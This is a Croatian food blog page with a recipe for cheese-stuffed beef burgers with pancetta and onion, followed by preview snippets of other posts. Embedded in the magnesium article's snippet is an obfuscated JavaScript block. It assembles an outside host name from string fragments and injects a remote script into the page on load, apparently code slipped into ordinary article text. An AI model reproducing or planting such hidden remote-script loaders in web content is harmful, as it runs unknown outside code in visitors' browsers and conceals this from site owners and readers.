PLJESKAVICA PUNJENA SIROM






Pljeskavica punjena sirom 



Najfiniji burger je onaj koji je napravljen na roštilju. Da izbjegnete raspadanje pljeskavice, važno je meso staviti u hladnjak da se stisne prije termičke obrade, a u smjesu možete dodati i žumanjak te nešto krušnih mrvica. Ovako pripremljene pljeskavice ispecite na roštilju ili gril tavi pa poslužite u pecivu zajedno s umakom po želji, zelenom salatom, hrskavim komadićima luka, kiselim krastavcima, kriškama svježe rajčice i drugim sličnim prilozima.




Pljeskavica punjena sirom 


Sastojci:

  • 500 g mljevene junetine
  • 100 grama naribanog cheddara
  • 60 g dimljene pancete
  • 50 g krušnih mrvica
  • 1 žumanjak
  • 1 luk
  • 1 češanj češnjaka
  • biljno ulje po želji
  • grančice timijana po želji
  • sol i papar po želji



Priprema:

  1. Zagrijte ulje u tavi na srednje jakoj vatri i na njemu prepirjajte luk oko 10 minuta dok ne omekša. Posolite ga po želji. Dodajte sitno sjeckanu pancetu i pirjajte sve zajedno još pet minuta. Dodajte i nasjeckani češnjak te timijan i pirjajte sve zajedno oko jedne minute. Pustite da se ova smjesa malkice ohladi.
  2. U veliku posudu stavite mljeveno juneće meso i ohlađenu smjesu na bazi pancete i luka. U smjesu dodajte i jedan žumanjak te krušne mrvice. Dobro posolite i popaprite smjesu te je podijelite na četiri jednaka dijela.
  3. Podijelite smjesu na četiri jednaka dijela. Svaki dio mesa oblikujte u pljeskavice. U sredinu svake pljeskavice stavite četvrtinu sira, pa ostatkom smjese prekrijte sir. Lagano pritisnite dlanom mesnu smjesu da dobijete burger punjen sirom. Ponavljajte postupak dok ne potrošite sve sastojke.
  4. Ispecite burgere na roštilju – otprilike četiri do pet minuta sa svake strane dok nije termički obrađeno onako kako treba. Zamotajte svaku pljeskavicu u aluminijsku foliju i ostavite na rubu roštilja još pet do 10 minuta kako bi se sir rastopio do kraja.
  5. Poslužite burgere u pecivu s umakom i prilozima po želji. Dobar tek!



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više